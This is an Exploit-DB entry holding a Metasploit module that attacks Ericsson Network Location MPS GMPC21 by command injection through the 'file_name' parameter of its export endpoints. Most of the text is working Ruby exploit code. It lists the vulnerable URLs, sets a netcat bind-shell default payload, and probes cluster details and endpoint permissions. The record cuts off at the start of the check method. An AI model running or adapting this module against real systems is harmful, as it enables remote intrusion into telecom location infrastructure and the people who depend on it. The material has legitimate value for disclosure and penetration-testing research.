Exploit-DB #50468
Description: Ericsson Network Location MPS GMPC21 - Remote Code Execution (RCE) (Metasploit)
Type: webapps
Platform: multiple
Date: 2021-11-02
Author: AkkuS

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Ericsson Network Location Mobile Positioning Systems.
  The "export" feature in various parts of the application is vulnerable.
  It is a feature made for the information in the tables to be exported to the server and imported later when required.
  Export operations contain "file_name" parameter.
  This parameter is assigned as a variable between the server commands on the backend side.
  It allows command injection with preventions bypass operation.
    
        "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"
    
        /////// This 0day has been published at DEFCON29-PHV Village. ///////   

      ),
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2021-'],
          ['URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon29.html'],
          ['URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],
          ['URL', 'https://www.wallofsheep.com/pages/dc29#akkus']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'DefaultOptions' =>
        {
    'WfsDelay' => 600,
          'RPORT' => 10083,
          'SSL'   => true,
          'PAYLOAD' => 'cmd/unix/bind_netcat'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Ericsson NLG', {}]],
      'DisclosureDate' => 'Apr 21 2021',
      'DefaultTarget'  => 0)
    )
    register_options [
  OptString.new('USERNAME',  [true, 'NLG Username']),
        OptString.new('PASSWORD',  [true, 'NLG Password']),
        OptString.new('TARGETURI',  [true, 'Base path for NLG application', '/'])
    ]
  end
  ######################################################
  #
  # There are a total of 20 vulnerable areas. 
  # These areas are located in cells,psap,numbering,smpp fields.
  # One request for each of these fields has been used for exploitation.
  # These are listed below.
  #
  # /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
  # /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1
  # /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
  # /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
  #
  ######################################################

  # for Origin and Referer headers
  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
  # split strings to salt
  def split(data, string_to_split)  
    word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
    string = word.split('"]').join('').split('["').join('')
    return string
  end  
  
  def cluster
  
    res = send_request_cgi({
    # clusters information to API directories
      'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),
    'method'  => 'GET'
    })  
  
    if res && res.code == 200 && res.body =~ /version/
      cls_version = split(res.body, "version")
      cls_node_type = split(res.body, "node_type")
      cls_name = split(res.body, "cluster_name")
      cls_id = cls_version + "-" + cls_node_type + "-" + cls_name
      return cls_version, cls_node_type, cls_name, cls_id
    else
      fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')
    end 
  end
  
  def permission_check(token)
    # By giving numbers to the vulnerable areas, we can easily use them in JSON format.
    json_urls = '{"1":"/positioning_controls/gsm/","2":"/smpp/", "3":"/cells/gsm/cgi_cells/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'
    parse = JSON.parse(json_urls)
    cls_id = cluster[3]
    cls_node_type = cluster[1]
  
    i = 1
    while i <= 6 do
       link = parse["#{i}"]
       i +=1
       # The cells export operation returns 409 response when frequent requests are made. 
       # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds. 
       if link == "/cells/gsm/cgi_cells/"
   sleep(7)
       end
       filename = Rex::Text.rand_text_alpha_lower(6)
     
       res = send_request_cgi({
         'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),
       'method'  => 'GET',
       'headers' =>
           {
         'X-Auth-Token' => token,
             'Origin' => "#{peer}"
           }
       })  
     
       if res && res.code == 403 then # !200 
   next
       elsif res && res.code == 200 
   return link, true 
       elsif res && res.code == 400 
   return link, true           
       elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.
         return "no link", false       
       end       
    end
  end

  def check
    # check